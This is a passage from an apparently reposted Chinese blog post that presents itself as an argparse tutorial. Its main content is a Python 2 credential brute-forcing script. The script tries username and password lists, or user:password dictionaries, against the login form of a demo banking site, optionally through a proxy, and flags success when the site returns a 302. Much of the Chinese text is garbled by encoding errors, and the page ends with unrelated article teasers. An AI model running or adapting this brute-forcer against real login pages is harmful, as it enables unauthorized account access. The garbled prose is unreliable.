摘要:一簡介是用于解析命令行參數(shù)和選項的標(biāo)準(zhǔn)模塊,用于代替已經(jīng)過時的模塊。二使用步驟爆破成功爆破失敗批量爆破測試版
一、簡介:
argparse是python用于解析命令行參數(shù)和選項的標(biāo)準(zhǔn)模塊,用于代替已經(jīng)過時的optparse模塊。argparse模塊的作用是用于解析命令行參數(shù),例如python parseTest.py input.txt output.txt --user=name --port=8080。
二、使用步驟:
1:import argparse
2:parser = argparse.ArgumentParser()
3:parser.add_argument()
4:parser.parse_args()
# -*- coding:utf-8 -*- import argparse import requests import sys def login(user, passwd, proxy): if proxy: proxy = {"http": proxy} print proxy headers = { "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0", "Referer": "http://demo.testfire.net/bank/login.aspx", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", } data = { "uid": user, "passw": passwd, "btnSubmit": "Login" } if proxy: html = requests.post("http://demo.testfire.net/bank/login.aspx", proxies=proxy, headers=headers, data=data, allow_redirects=False, verify=False) else: html = requests.post("http://demo.testfire.net/bank/login.aspx", headers=headers, data=data, allow_redirects=False, verify=False) if html.status_code == 302: print u"[+] 爆破成功!!", user + "/" + passwd else: print u"[+] 爆破失敗!!" if __name__ == "__main__": parser = argparse.ArgumentParser(description=u"[+]-----------------NO JS 批量爆破測試-python版-----------------[+]") parser.add_argument("-u", "--user", default=False, dest="user", help="specific one user") parser.add_argument("-p", "--password", default=False, dest="password", help="specific one password") parser.add_argument("-U", default=False, dest="User", help="specific a directory file of users") parser.add_argument("-P", default=False, dest="Password",help="specific a directory file of passwords") parser.add_argument("-D", "--dict", default=False, dest="dict",help="specific a dict file of users and passwords") # parser.add_option("-T", "--target", default=False, help="specific the target dvwa brute force url") parser.add_argument("--proxy", default=False, dest="proxy", help="use a http proxy") args = parser.parse_args() proxys = args.proxy if not ((args.user or args.User) and (args.password or args.Password)) and not args.dict: print parser.parse_args(["-h"]) sys.exit() elif ((args.user or args.User) and (args.password or args.Password)) and args.dict: print parser.parse_args(["-h"]) sys.exit() elif (args.user or args.User) and (args.password or args.Password): users = [] if args.user: users.append(args.user) else: try: user = open(args.User, "r").readlines() for i in user: users.append(i[:-1]) except Exception, e: raise e passwords = [] if args.password: passwords.append(args.password) else: try: password = open(args.Password, "r").readlines() for i in password: passwords.append(i[:-1]) except Exception, e: raise e for u in users: for p in passwords: print proxys login(u, p, proxys) elif args.dict: account_list = [] try: account = open(args.dict, "r").readlines() for D in account: account_list.append(D) except Exception, e: raise e for D in account_list: #time2 = random.randint(2, 90) u = D.split(":")[0].strip() p = D.split(":")[1].strip() login(u, p, proxys)
文章版權(quán)歸作者所有,未經(jīng)允許請勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。
轉(zhuǎn)載請注明本文地址:http://www.ezyhdfw.cn/yun/44413.html
摘要:問題與現(xiàn)狀通常情況下,我們都會使用這樣的手段來獲取腳本的輸入?yún)?shù)。 問題與現(xiàn)狀 通常情況下,我們都會使用sys.argv[n]這樣的手段來獲取python腳本的輸入?yún)?shù)。這樣做的缺點如下:1 參數(shù)輸入和獲取必須嚴(yán)格按照順序2 在獲取參數(shù)的同時需要寫一點額外的代碼對輸入?yún)?shù)進行簡單的合法性檢查3 在輸入?yún)?shù)過多(通常情況下項目構(gòu)建時入?yún)⒑芏啵绕涫钱?dāng)各個腳本解耦充分的情況下)導(dǎo)致向其他函...
小編給大家寫這篇文章的主要目的,就是給大家詳細(xì)解答,python中的argparse參數(shù)模塊的相關(guān)知識解答?! ∏把浴 elp(argparse)查看說明文檔,argparse-Command-line parsing library我們可以知道是一個命令行解析庫,是關(guān)于參數(shù)解析相關(guān)的一個模塊。 示例一:最簡參數(shù)對象 先來一段簡單的代碼,快速熟知下這個參數(shù)是個啥?! ”4鏋閠.py這樣一...
此篇文章主要是闡述了搭建Pythonargv的4種比較常見方式方法,文章內(nèi)容緊扣主題進行詳盡的基本介紹,具有很強的實用價值,務(wù)必的朋友可以學(xué)習(xí)一下?! ⌒蜓浴 ⌒』锇閭兒?,在平時的撰寫Python腳本制作的過程當(dāng)中,我們通常需要根據(jù)argv傳到某些自變量主要參數(shù),使新項目應(yīng)用更加靈便便捷?! 》謩e是: 內(nèi)嵌sys.argv控制模塊 內(nèi)嵌argparse控制模塊 內(nèi)嵌getopt模塊 第...
摘要:所以就只能使用實現(xiàn)腳本進行交互,和解耦合。使用的庫和代碼由于命令行執(zhí)行之后,進程一直在運行,不停的出塊,所以我將出塊的內(nèi)容寫入到文件中。 背景: 最近因為工作需求在寫自動化測試腳本,主要目的是測試代碼功能的完整性,然而在使用SSHLibrary庫進行遠(yuǎn)程SSH交互的時候總是出現(xiàn)問題,比如說遇到需要輸入密碼的交互,總是不能成功,還有遇到一直保持運行并實時輸出的命令,也無法讀取其中的輸出。...
閱讀 1484·2021-11-24 10:20
閱讀 3709·2021-11-24 09:38
閱讀 2378·2021-09-27 13:37
閱讀 2289·2021-09-22 15:25
閱讀 2345·2021-09-01 18:33
閱讀 3587·2019-08-30 15:55
閱讀 1856·2019-08-30 15:54
閱讀 2173·2019-08-30 12:50